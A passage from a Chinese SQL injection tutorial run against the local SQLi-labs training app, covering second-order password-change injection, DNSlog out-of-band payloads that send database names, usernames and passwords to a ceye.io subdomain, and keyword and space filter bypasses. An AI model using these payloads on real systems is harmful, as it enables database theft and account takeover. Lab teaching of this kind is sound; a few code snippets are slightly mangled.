那么当他查询我们的个性签名的时候,和我们的用户名一结合,效果如下,这就是一个联合查询注入语句了,此时我们就能从个性签名的地方,看到我们注入的结果了

select gexingqianming from users where username ='admin' union select version()#'

案例

SQLi-labs-24
打开是这样的

首先我们注册一个账号,账户名为admin’# 密码为123456

此时在数据库中成功添加了我们注册的这个用户

我们看一下修改密码的页面源码(pass_change.php),发现他执行的是这条语句

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'


那么我们如果修改用户admin’#的密码为ercizhuru会是什么效果呢,这不就变成把admin用户的密码修改成ercizhuru了吗,我们来尝试一下

UPDATE users SET PASSWORD='ercizhuru' where username='admin'#' and password='$curr_pass'


此时我们再来看一下数据库,可以发现admin的密码已经变成了ercizhuru

成功用ercizhuru登录上admin用户

DNSlog注入

原理

解释:dnslog注入也可以叫做dns外带注入,可以通过查询相应DNS解析记录,来获取数据,DNSlog注入主要是解决无回显的问题

这里需要一个DNSlog平台

1-http://www.dnslog/
2-http://ceye.io/

这里我以ceye.io来测试
首先需要查看一下本地的配置

show VARIABLES like '%secure%'

secure_file_priv为null就不可以读文件,为空就可以读任意文件,我们需要把这里设置为空
可以在my.ini中设置secure_file_priv=“”

那么构造payload

select load_file(concat('\\\\',(select database()),'.你的Identifier\\abc'))

解释
load_file()请求文件,除了本地文件之外还可以请求远程文件
concat()函数把三个部分组合起来了
第一个部分\\\\表示网络路径
第二个部分执行SQL语句比如这里select database() 执行结果为security
第三个部分多级域名,比如这里.xxxx\abc
组合起来就变成了\\\\security.xxxx\abc 意思是请求security.xxxx下的abc这个文件
那么我们就可以去查看这个子域名的域名解析记录,从而获取我们SQL语句执行的结果了

案例

SQLi-lab-1
输入单引号报错,说明可能存在闭合

那么我们注释一下,成功回显,说明是单引号闭合

那么直接DNSlog注入,构造如下payload

http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select database()),'.1cfto5.ceye.io\\abc'))--+

拿到数据库名

继续拿表名,因为最终是要组成一个三级域名,所以一次只能查一个

http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.1cfto5.ceye.io\\abc'))--+

这里为了省时间,直接拿最关键的users表

http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 4,1),'.1cfto5.ceye.io\\abc'))--+

那么继续查列名,同样为了节省时间直接拿最敏感的username和password
这里我知道是limit多少是因为我自己在数据库中数了是第几个

http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 13,1),'.1cfto5.ceye.io\\abc'))--+

http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 12,1),'.1cfto5.ceye.io\\abc'))--


那么直接拿数据,先拿username

http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select username from users limit 0,1),'.1cfto5.ceye.io\\abc'))--+


再拿password

http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select password from users limit 0,1),'.1cfto5.ceye.io\\abc'))--+

SQL注入普通绕过手法

空格绕过

在我们注入的时候,当空格被过滤的话我们可以寻求代替方法,还是以SQLlibs-1为例子

http://127.0.0.1:8124/Less-1/?id=-1' union select 1,2,concat_ws(";",username,password) from users limit 2,1%23

我们用这个语句成功注入查到了数据

如果我们现在空格被过滤了,可以考虑这些绕过方法

1-替换掉空格

1.1-%20 空格的url编码
1.2-%09 tab的url编码
1.3-%0a 换行符linefeed的url编码
1.4-%0b 换行符linefeed的url编码
1.5-%0c 换行符linefeed的url编码
1.6-%0d c return的url编码
1.7- +号

2-不使用空格

2.1-内联注释:/!12345union//!12345select/
我们这么写就可以绕过一些需要用到空格的地方,做一个扩展,这里的12345是可以改动的,改动的方法是只需要这个数字小于我们注入数据库的版本即可,比如我的Mysql数据库版本为5.7,那么我们这里只要这五个数字的第一个数字小于5即可比如4321。要改这个的原因是只要这五个数字小于数据库的版本我们内联注释内的这个SQL语句就不会被当成注释,比如我们下面这个例子

/*!12345select*/ * from users

可以看到虽然我们的select在注释内,但是其实是可以执行的

那么如果我们把数字做一些改动

/*!65432select*/ * from users

可以看到报错了,因为6是大于我使用的5版本的

同样如果使用的不是5位数字也会报错

/*!123456select*/ * from users

2.2-反引号:我们可以用反引号把表名列名字段值包裹起来从而不使用空格,比如下面这个例子

select`username`from`users`where`id`=1

我们可以看到成功执行,不使用空格执行了SQL语句

最终我们来看这个payload来过关第一关

http://127.0.0.1:8124/Less-1/?id=-1'%0a/*!12345union*//*!12345select*/1,2,concat_ws(";",username,password)+from`users`limit 2,1%23

成功执行

关键字绕过

当我们执行SQL语句的关键字被过滤的时候,可以使用一些这样的常规方法

1-大小写绕过

比如他对我们输入的SQL语句进行了过滤,但是使用的是类似PHP中str_replace()这样的函数,那么就可能存在这样的安全问题,比如下面这个源码,对我们传入的SQL语句进行过滤,把SQL语句中的select替换成???

<?php
  $SQL=$_POST['sql'];
  $SQL=str_replace("select","???",$SQL;
?>

我们可以看到,正常来说是可以成功替换的

但是str_replace()是区分大小写的,当我们把select中的任意字符修改成大写试试,我们发现这样就无法对SQL语句进行一个有效的过滤了,这就是大小写绕过的原理

当然,形如sElect database()这样的语句在Mysql中也是可以执行的

要修复的话也很简单,可以使用正则,或者使用不区分大小写的函数,比如str_ireplace()
这样大小写绕过就失效了

2-双写绕过

双写绕过的原理也很简单,也是利用的代码开发人员的不严谨,在大小写绕过中,我们替换的字符串是???,可能有个时候开发人员图省事就把这个参数设置为空,就会造成这个安全问题,同样,也只存在于str_replace()这样的函数内,因为这个函数只替换一次,只替换一次的意思是比如我们构造一个这样的字符串
sselectelect,可以明显看到我们这个字符串里面是有关键字select的,但是即使被替换成空以后留下的字符串可以组成一个新的select,str_replace()这个函数是不会回过头来继续替换这个新select的

我们可以看到,这样我们是可以通过双写绕过的,select被过滤之后留下来的字符串构成了一个新的select导致了一个绕过

3-注释绕过

3.1-注释符/**/

在有的时候可以使用这样的方式绕过,这样是能够执行成功的

se/**/lect * from users

3.2-内联注释/!/

上面讲过,在此不赘述

/*!12345select*/ * from users

4-<>
某些情况下可以使用这种方式绕过

se<>lect * from users

5-等量替换
当我们经常使用的一些函数被过滤的时候可以使用和它意思差不多的函数来代替

1-where被过滤可以用这些代替
1.1-笛卡尔积 cross join
1.2-内连接 inner join
1.3-左连接 left join
1.4-又连接 right join
1.5-having

这里以having为例

select * from users having id =1

2-"=“等于号可以用like、regexp代替
3-substr可以用mid、left代替
4-ord可以用ascii代替 4-and or || && 可以用异或”^“和非”!"来代替
5-sleep可以用一些等效的手段替代,比如计算一个东西他需要时间,如果计算这个东西需要2秒,那么和sleep(2)的效果是一样的,比如这条语句就会延迟一定的时间
select rpad(‘a’,4999999,‘a’) RLIKE concat(repeat(‘(a.*)+’,30),‘b’);
压力测试benchmark()也可以达到同样的效果

6-编码绕过
数据库中有些地方是可以使用16进制代替原本的字符串的,比如下面这条语句

select * from users where username=0x44756d62
这里0x44756d62的意思是Dumb的十六进制形式

7-终极大法

数据库玩的越六,绕过方法就越多,没事可以看看Mysql手册,说不定会发现一些不怎么常用的函数来绕过现有的过滤手段

注释符绕过

常用的注释符有以下几种
1- --空格
2- --+ (–+在数据库中是不行的,只有在web中发送才可以,因为+号会被解析成一个空格,最终在数据库中变成–空格)
3- #(也可以使用%23也就是#的url编码)

总结

如果看到这,恭喜你应该对SQL注入有一个比较不错的理解了,后续我还会持续更新另外漏洞的文章,也是以这种保姆级教程发出,感兴趣的朋友可以点个关注追更~

更多推荐

一篇文章彻底学懂SQL注入(包含基础数据库句法、SQL注入原理以及所有常见SQL注入类型以及绕过手法)